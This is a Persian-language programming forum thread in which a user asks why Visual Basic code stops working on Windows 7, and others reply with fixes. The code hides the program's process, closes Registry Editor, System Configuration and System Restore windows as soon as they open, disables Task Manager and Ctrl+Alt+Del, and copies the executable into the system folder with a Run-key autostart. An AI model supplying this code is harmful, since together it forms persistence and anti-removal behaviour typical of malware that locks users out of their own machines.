ايران ويج

نسخه‌ی کامل: مشکل کار نکردن برخی از کدها در ویندوز 7
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
ای خدا آبروم رفت آخه!!!!Sad
کدهای مربوط به:
غیر فعال کردن تسک منیجر،
بستن پنجره های خاص مثلا بستن پنجره ی registery editor به محض اینکه باز میشه، و ...
کپی کردن برنامه در start up در رجیستری
اینا هیچکدوم توی ویندوز 7 کار نکرد، آبرو شرف و حیثیتم رفت، چیکار کنم که تو ویندوز 7 خاک بر سری، این کدهای لعنتی کار کنن؟!
بنظر من هندل هارا چک کن درصورتی که هرکدوم از این پنجره ها باز شد ببندشون دیگه مشکل ویندوز هم پیش نمیادWhistle
هندل ها چک شده عزیزم،
بهتره خودتون هم یه چکی بکنی
(۱۸-بهمن-۱۳۹۰, ۱۶:۳۶:۱۱)RAMA2009 نوشته است: [ -> ]هندل ها چک شده عزیزم،
بهتره خودتون هم یه چکی بکنی

من الان ویندوز خودم سون هستش و مشکلی ندارم
حتی با کد استارت اپ هم مشکلی ندارم!WhistleWhistle
حالا که واسه ما کار نمیکنه باید چیکار کنیم؟!
کدهای
کد:
Private Sub Process_Timer()
On Error Resume Next
Process_Hide CStr(App.EXEName & ".exe")
End Sub
و
کد:
Private Sub regMSconfig_Timer()
On Error Resume Next
Dim reghwnd As Long
Dim syshwnd As Long
Dim run As Long
Dim sr As Long
Dim s32 As Long
Const WM_CLOSE = &H10
syshwnd = FindWindow(vbNullString, "System Configuration Utility")
reghwnd = FindWindow("RegEdit_RegEdit", vbNullString)
sr = FindWindow(vbNullString, "System restore")
If syshwnd <> 0 Then SendMessage syshwnd, WM_CLOSE, 0&, 0&
If reghwnd <> 0 Then SendMessage reghwnd, WM_CLOSE, 0&, 0&
If sr <> 0 Then SendMessage sr, WM_CLOSE, 0&, 0&
End Sub
و
کد:
Set Reg = CreateObject("wscript.shell")
App.TaskVisible = False
و
کد:
Set fso = CreateObject("Scripting.FileSystemObject")
            mf = App.Path & "\" & App.EXEName & ".exe"
            Set sysdir = fso.getspecialfolder(1)
            If Dir(sysdir & "\Ultra.exe") = "" Then
                FileCopy mf, sysdir & "\Ultra.exe"
            End If
            filepathname = (sysdir & "\Ultra.exe")
            keyname1 = "run"
            RegKeyPath1 = RegPath & "\" & keyname1
            RegCreateKeyEx &H80000002, RegKeyPath1, 0, 0, 0, _
            &H3F, 0, hNewKey, lRetVal
            RegSetValueEx hNewKey, "Ultra", 0, 1, _
            ByVal filepathname, Len(filepathname)
            RegCloseKey hNewKey

توی ویندوز 7 کار نمیکنن به خدا.
یکی پیدا نشده که این جریان رو بفهمه؟!
احتمالا باید برنامتو به صورت run as administrator اجرا کنی
در ویندوز سون برای بالا بردن امنیت تغییر در ویندوز یا حتی ایجاد تغییرات در درایوی که ویندوز روی اون نصبه نیاز به اجازه کار بر دارد
غیر فعال کردن تسک منیجر در ویندوز 7

کد:
Private Sub DisableTaskManager(ByVal cmd As Integer)
        Dim systemRegistry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System")
        systemRegistry.SetValue("DisableTaskMgr", cmd)
        systemRegistry.Close()
    End Sub


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Visual Basic 4 / 5 / 6 Syntax

    Public Declare Function SystemParametersInfo Lib "user32.dll" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
    
    
    
    x = SystemParametersInfo(97, 1, CStr(1), 0) 'Disable Ctrl+Alt+Del Keys combination
    'Use as in --->>>
    If KeyAscii >= vbKeyA And KeyAscii <= vbKeyZ Or KeyAscii >= 97 And KeyAscii <= 122 Or KeyAscii >= vbKey0 And KeyAscii <= vbKey9 Or KeyAscii = vbKeyBack Then
    'do nothing
    Else
    KeyAscii = 0 'Disable all other key strokes

    End If

بردن برنامه به استارت آپ در ویندوز 7

کد:
''' Installs an application to start from the registry when Windows starts '''
    '''
    ''' Application's name
    ''' Full path to the application
    ''' Install to LM, otherwise install to current user
    ''' True if successfully installed
    ''' Compatible with Windows XP and Vista
    Public Function StartUpInstall(ByVal AppName As String, ByVal AppPath As String, _
    ByVal InstallToLocalMachine As Boolean) As Boolean
    '
    ' Install to registry
    ' If LM then uses HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    ' Otherwise uses HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    '
    Dim RegRoot As RegistryKey
    Dim RegKey As RegistryKey
    
    Try
    If InstallToLocalMachine Then
    RegRoot = Microsoft.Win32.Registry.LocalMachine
    RegKey = RegRoot.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
    RegistryKeyPermissionCheck.ReadWriteSubTree, _
    Security.AccessControl.RegistryRights.SetValue)
    RegKey.SetValue(AppName, AppPath, RegistryValueKind.String)
    Return True
    Else
    RegRoot = Microsoft.Win32.Registry.CurrentUser
    RegKey = RegRoot.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
    RegistryKeyPermissionCheck.ReadWriteSubTree, _
    Security.AccessControl.RegistryRights.SetValue)
    RegKey.SetValue(AppName, AppPath, RegistryValueKind.String)
    Return True
    End If


Remove application from the registry:

    ''' Uninstalls an application not to start from the registry when Windows starts '''
    '''
    ''' Application's name
    ''' Uninstall from LM, otherwise uninstall from current user
    ''' True if successfully uninstalled
    ''' Compatible with Windows XP and Vista
    Public Function StartUpUnInstall(ByVal AppName As String, _
    ByVal InstallToLocalMachine As Boolean) As Boolean
    '
    ' UnInstall from registry
    ' If LM then uses HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    ' Otherwise uses HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    '
    Dim RegRoot As RegistryKey
    Dim RegKey As RegistryKey
    
    Try
    If InstallToLocalMachine Then
    RegRoot = Microsoft.Win32.Registry.LocalMachine
    RegKey = RegRoot.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
    RegistryKeyPermissionCheck.ReadWriteSubTree, _
    Security.AccessControl.RegistryRights.SetValue)
    RegKey.DeleteValue(AppName, False)
    Return True
    Else
    RegRoot = Microsoft.Win32.Registry.CurrentUser
    RegKey = RegRoot.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
    RegistryKeyPermissionCheck.ReadWriteSubTree, _
    Security.AccessControl.RegistryRights.SetValue)
    RegKey.DeleteValue(AppName, False)
    Return True
    End If
    Catch ex As Exception
    Return False
    End Try
    
    End Function

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-



   Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

    
    My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValueApplication.ProductName, Application.ExecutablePath)
    
    End Sub

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

    Dim startup As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
    IO.File.Copy(Application.ExecutablePath, startup & "\Poise.exe")

منبع : http://www.kinga.ir/